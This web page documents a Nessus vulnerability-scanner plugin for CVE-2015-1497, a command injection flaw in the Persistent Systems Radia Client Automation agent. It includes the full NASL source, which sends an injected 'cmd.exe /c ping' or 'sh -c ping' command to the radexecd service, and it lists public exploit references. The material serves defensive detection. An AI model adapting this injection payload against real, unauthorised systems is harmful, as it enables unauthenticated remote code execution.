Persistent Systems Radia Client Automation Agent Command Injection - Nessus

Critical Plugin ID: 86427

This page contains detailed information about the Persistent Systems Radia Client Automation Agent Command Injection Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 86427
Name: Persistent Systems Radia Client Automation Agent Command Injection
Filename: radexecd_cve-2015-1497.nasl
Vulnerability Published: 2015-02-10
This Plugin Published: 2015-10-19
Last Modification Time: 2022-04-11
Plugin Version: 1.9
Plugin Type: remote
Plugin Family: General
Dependencies: os_fingerprint.nasl, ovcm_notify_daemon_detect.nasl
Required KB Items [?]: Services/radexecd
Excluded KB Items: global_settings/supplied_logins_only

Vulnerability Information

Severity: Critical
Vulnerability Published: 2015-02-10
Patch Published: N/A
CVE [?]: CVE-2015-1497
CPE [?]: cpe:/a:hp:client_automation_enterprise, cpe:/a:persistent_systems:radia_client_automation

Synopsis

The Persistent Systems Radia Client Automation agent listening on the remote port is affected by a command injection vulnerability.

Description

The Persistent Systems Radia Client Automation (formerly HP Client Automation) agent listening on the remote port is affected by a command execution vulnerability due to a flaw in the radexecd.exe component. An unauthenticated, remote attacker can exploit this to execute arbitrary commands in the context of the radexecd process.

Solution

See the vendor advisory for a possible solution.

Public Exploits

Target Network Port(s): N/A
Target Asset(s): N/A
Exploit Available: True (Metasploit Framework, Exploit-DB, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Persistent Systems Radia Client Automation Agent Command Injection vulnerability:

Metasploit: exploit/multi/misc/persistent_hpca_radexec_exec
[HP Client Automation Command Injection]
Exploit-DB: exploits/multiple/remote/36169.rb
[EDB-36169: HP Client - Automation Command Injection (Metasploit)]
Exploit-DB: exploits/windows/remote/36206.rb
[EDB-36206: Persistent Systems Client Automation - Command Injection Remote Code Execution (Metasploit)]
Exploit-DB: exploits/multiple/remote/40491.py
[EDB-40491: HP Client 9.1/9.0/8.1/7.9 - Command Injection]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	8.3 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.3 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(86427);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2015-1497");
  script_bugtraq_id(72612);
  script_xref(name:"EDB-ID", value:"36169");
  script_xref(name:"EDB-ID", value:"36206");

  script_name(english:"Persistent Systems Radia Client Automation Agent Command Injection");

  script_set_attribute(attribute:"synopsis", value:
"The Persistent Systems Radia Client Automation agent listening on the
remote port is affected by a command injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Persistent Systems Radia Client Automation (formerly HP Client
Automation) agent listening on the remote port is affected by a
command execution vulnerability due to a flaw in the radexecd.exe
component. An unauthenticated, remote attacker can exploit this to
execute arbitrary commands in the context of the radexecd process.");
  # https://support.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?56b928e5");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-15-038/");
  script_set_attribute(attribute:"solution", value:
"See the vendor advisory for a possible solution.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'HP Client Automation Command Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/10/19");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:persistent_systems:radia_client_automation");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:hp:client_automation_enterprise");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"General");

  script_copyright(english:"This script is Copyright (C) 2015-2022 Tenable Network Security, Inc.");

  script_dependencies("ovcm_notify_daemon_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("Services/radexecd");
  script_exclude_keys("global_settings/supplied_logins_only");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("dump.inc");

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

# The port for the Notify daemon (radexecd)
port = get_service(svc:'radexecd', default:3465, exit_on_fail:TRUE);

# Attack only if the detection plugin determines noauth is enabled 
# for radexecd 
if (get_kb_item("radexecd/" + port + "/noauth") != TRUE)
  exit(0, "User authentication for radexecd on port " + port + " seems to be enabled, skipping the attack.");

os = get_kb_item("Host/OS");
if(os && "windows" >< tolower(os))
{
  injected = 'cmd.exe /c ping ' + compat::this_host();
  cmd = 'hide hide"\t"' + injected;
}
# Injected command may fail if it is not available on the target 
# host, but a vulnerable server will still return '\x00' in response.
else
{
  injected = 'sh -c "ping -c 3 ' + compat::this_host() + '"';
  cmd = 'hide hide\t' + injected; 
}

s = open_sock_tcp(port);
if(!s) audit(AUDIT_SOCK_FAIL, port);

req = '\x00' +  # return port; insignificant
      'USER_' + SCRIPT_NAME + '\x00' +
      'PASS_' + SCRIPT_NAME + '\x00' +
      cmd + '\x00';

send(socket: s, data: req);
res = recv(socket: s, length:1024);
close(s);

if (isnull(res)) 
  audit(AUDIT_RESP_NOT, port, "a Notify request");

# Vulnerable
if (res == '\x00')
  security_hole(port: port);
else
  exit(0, "The service listening on port " + port + ' returned the following response, and is probably not affected.\n' + hexdump(ddata:res));

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/radexecd_cve-2015-1497.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\radexecd_cve-2015-1497.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/radexecd_cve-2015-1497.nasl

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How to Run

Here is how to run the Persistent Systems Radia Client Automation Agent Command Injection as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select General plugin family.
On the right side table select Persistent Systems Radia Client Automation Agent Command Injection plugin ID 86427.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl radexecd_cve-2015-1497.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a radexecd_cve-2015-1497.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - radexecd_cve-2015-1497.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state radexecd_cve-2015-1497.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

72612

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file radexecd_cve-2015-1497.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.

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Persistent Systems Radia Client Automation Agent Command Injection - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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